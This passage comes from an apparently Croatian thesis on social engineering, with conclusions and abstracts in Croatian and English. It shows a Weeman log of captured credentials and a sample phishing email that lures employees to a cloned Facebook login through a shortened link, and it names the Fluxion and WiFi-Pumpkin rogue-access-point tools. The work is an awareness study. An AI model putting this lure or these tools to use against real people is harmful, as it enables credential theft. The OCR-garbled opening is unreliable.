0iZJ LhOWIKNGNjNzVLM])dmNZESNGFLZGNjY2VhYzkzNzcilLCJoYXNoMiI6ImRiMjIJhZDUWMDZiZjUS0G
f5ZDRKMGYZYmMR1OThmMTIiIiwidGLtZV90YWt1lbiI6MTMAMDAWLCIZdXImYWNLI joibG9naWdifQ==
[11:16:03] Creating ref.html ...

[11:16:03] Connected : localhost

[11:16:03] localhost - sent GET request without parameters.

[11:16:04] Connected : localhost

[11:16:04] Connected : localhost

Slika 56: Prikaz u terminalu: uhvaéeno korisni¢ko ime i lozinka

Napadaci mogu nasamariti zrtvu na mnogo nacina koristec¢i se ovim programom. Na primjer,
napadac ima za cilj nasamariti zaposlenike odredene tvrtke. Na neki drugi nacin uspije saznati

emailove zaposlenika, te im svima posalje email sli¢no kao na slici ispod.

Nagradna igra Pristigla posta  x

ivana kelam <ivana kelam93@gmail com=

Boook kolege,

tko ostavi komentar moze osvojiti 2xulaznice za Kiiino 7))
Sretnol

Evo link: https:/bit [y/2L QUsY

Slika 57: Prikaz na koji nacin se moze zloupotrijebiti

Koristenjem besplatne stranice za smanjivanje URL-a ,,bitly maskirali Smo na$ zlonamjerni
URL da izgleda pristupacnije i manje sumnjivije zrtvi. Ona Zrtva koja ne posumnja u ispravnost
emaila klikne na poveznicu, prijavi se na laznoj Facebook stranici, a napadac prikupi korisnicko

ime i lozinku.
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5. ZAKLJUCAK

Napadi socijalnim inZenjeringom prisutni su u svim podruc¢jima zivota, ali osobito u podrucju
racunalne sigurnosti. Napada¢i ne moraju biti isklju¢ivo racunalni stru¢njaci, to mogu biti
razli¢iti prevaranti koji jednostavno psiholo$kim manipulacijama prevare Zrtvu za dobivanje
pristupa odredenim informacijama. Ljudski faktor je neminovan u ra¢unalnom sustavu, ali je
isto tako i najtanja karika u sigurnosti tog racunalnog sustava. Nema direktnog nacina kako se
boriti protiv ovakve prijetnje, ali educiranjem ljudi se moze podiéi svijest da je opasnost od
socijalnog inZenjeringa sveprisutna. Organizacije mogu svoje zaposlenike educirati redovito,
provoditi sigurnosnu politiku 1 sigurnosne procedure. Dok se obi¢ne korisnike moze educirati

putem reklamnih poruka, u skolama, primjerima stvarnih napada.

Provedbom kontroliranih napada u ovome radu pokazalo se da je danas prejednostavno do¢i do
malicioznih softvera i alata, pa tako i za provedbu socijalnog inzenjeringa. Prvi program kojim
smo proveli napad obuhvaca otkrivanje lozinke Wi-Fi mreze, a rije¢ je o Fluxion programu.
Fluxion je alat koji automatizira proces stvaranja lazne pristupne tocke blizanca te nasamaruje
zrtvu da preda Wi-Fi lozinku. Drugi program je naziva WiFi-Pumpkin, a stvara vlastitu laznu
pristupnu toc¢ku, pruza uslugu bezi¢nog spajanja na internet te prisluskuje promet spojenog
korisnika. Tre¢i program stvara laznu web-stranicu, a tim smo prokazali na koji na¢in napadaé
moze uhvatiti lozinku Zrtvine drustvene mreze. Koristili smo program Weeman, koji je

jednostavna Phython skripta koja stvara lazne web-stranice identi¢ne originalnima.

Granice pojedinih vrsta napada su vrlo proSirive i jo$ uvijek neistrazene do samog kraja. Sve
nam to upucuje da je potrebno biti §to oprezniji prilikom koritenja interneta, odnosno
spajanjem na otvorene Wi-Fi mreze, primitka sumnjivog emaila, paziti na sumnjive poveznice

na koje mislimo kliknuti i ostalo.
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7. SAZETAK
Socijalni inZenjering kao metoda otkrivanja povjerljivih informacija

Dana$nje prijetnje racunalnoj sigurnosti su mnogobrojne i raznovrsne. Socijalni
inzenjering jest jedna vrsta napada na racunalnu sigurnost. Rije¢ je o neautoriziranom pristupu
informacijama ili cijelom ra¢unalnom sustavu manipuliranjem zrtvom. Povjerljive informacije
se izvlae nacinima psiholoSske manipulacije, upotrebe trikova, uvjeravanja, laZnog

predstavljanja ili zloupotrebe povjerenja.

Cilj ovoga rada bilo je detaljnije istraziti socijalni inZzenjering, njegove metode i nacine
napada, kao i mjere zastite. Dodatni cilj je bio i pokusati izvesti napad u kontroliranom
okruzenju kako bi se pokazalo koliko je lako provesti takve napade, buduci da su svi materijali

sa ukljucenim detaljnim uputama dostupni na internetu.

Provedeni napadi izvrSeni su isklju¢ivo za potrebe ovoga rada, te se sve odvijalo u
kontroliranom okruzenju. Prvi program kojim se proveo napad obuhvaca otkrivanje lozinke
Wi-Fi mreze, arijec je o Fluxion programu. Fluxion je alat koji automatizira proces stvaranja
lazne pristupne tocke blizanca kako bi uhvatio WPA/WPA2 lozinke, mjesavina je tehnickog
dijela napada i socijalnog inZenjeringa koji nasamaruje zrtvu da preda Wi-Fi lozinku. Drugi
program je naziva WiFi-Pumpkin, a stvara vlastitu laznu pristupnu toc¢ku, pruza uslugu
bezi¢nog spajanja na internet te prisluskuje promet spojenog korisnika. Tre¢i program stvara
laznu web-stranicu, a tim je prikazano na koji nacin napada¢ moze uhvatiti lozinku Zrtvine
drustvene mreze. Koristio se program Weeman, jednostavna Phython skripta koja stvara lazne

web-stranice identi¢ne originalnima.

Provedbom kontroliranih napada pokazalo se da se jednostavno i besplatno putem
interneta moze doc¢i do softvera i alata koji su uspje$ni u otkrivanju povjerljivih informacija.
Sve nam to upucuje da je potrebno biti §to oprezniji prilikom kori$tenja interneta, odnosno
spajanjem na otvorene Wi-Fi mrezZe, primitak sumnjivog emaila, paziti na sumnjive poveznice
na koje mislimo kliknuti 1 ostalo, te da je potrebno podignuti svijest medu obi¢nim korisnicima
interneta, putem reklama, educiranjem u skolama i dr. Organizacije i tvrtke moraju shvatiti da
je konstantno educiranje njihovih zaposlenika o opasnostima interneta i socijalnog inzenjeringa

bitno te da na taj na¢in smanjuju rizik od napada na samu organizaciju.

Kljuéne rijedi: socijalni inzenjering, napadi, povjerljive informacije, sigurnost, lozinke,

pristupne tocke, drustvene mreze.
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8. SUMMARY

Social engineering as a method of revealing confidential information

Modern threats to computer security are many and varied. Social engineering is one kind of
computer security threat. It's about unauthorized access to information or the entire computer
system by manipulating the victim. Confidential information is extracted by psychological

manipulation, the use of tricks, persuasion, false representation or abuse of trust.

The aim of this paper was to investigate social engineering, its methods and ways of attack
as well as the protection measures. An additional goal was to try run an attack in a controlled
environment to show how easy it is to take such attacks, as all the materials with detailed

instructions included are available on the Internet.

The attacks were carried out solely for the purpose of this work, and everything was done
in a controlled environment. The first program involves detecting a Wi-Fi password, which is
a Fluxion program. Fluxion is a tool that automates the process of creating a fake twin access
point to capture WPA / WPA2 passwords, a blend of a technical part of the attack and social
engineering that tricks the victim to hand over the Wi-Fi password. The second program is
WiFi-Pumpkin, and it creates its own fake access point, provides wireless connectivity to the
Internet, and intercepts the traffic of the connected user. The third program creates a fake web
page and that program shows us how the attacker can catch the password of the victim's social
network. It is program called Weeman, a simple Phython script that creates fake web pages

identical to the original.

By implementing controlled attacks, it has been shown that software and tools that are
successful in revealing confidential information can be accessed easily and free through the
Internet. All this tells us that it is necessary to be extremely cautious when using the Internet,
ie by connecting to an open Wi-Fi network, receiving suspicious emails, the suspicious links
that we think click and the other, and raising awareness among ordinary Internet users, through
advertising, education in schools, etc. Organizations and businesses need to realize that
constantly educating their employees about the dangers of Internet and social engineering is

important and thus reducing the risk of attacking the organization itself.

Keywords: social engineering, attacks, confidential information, passwords, security,

access points, social networks.
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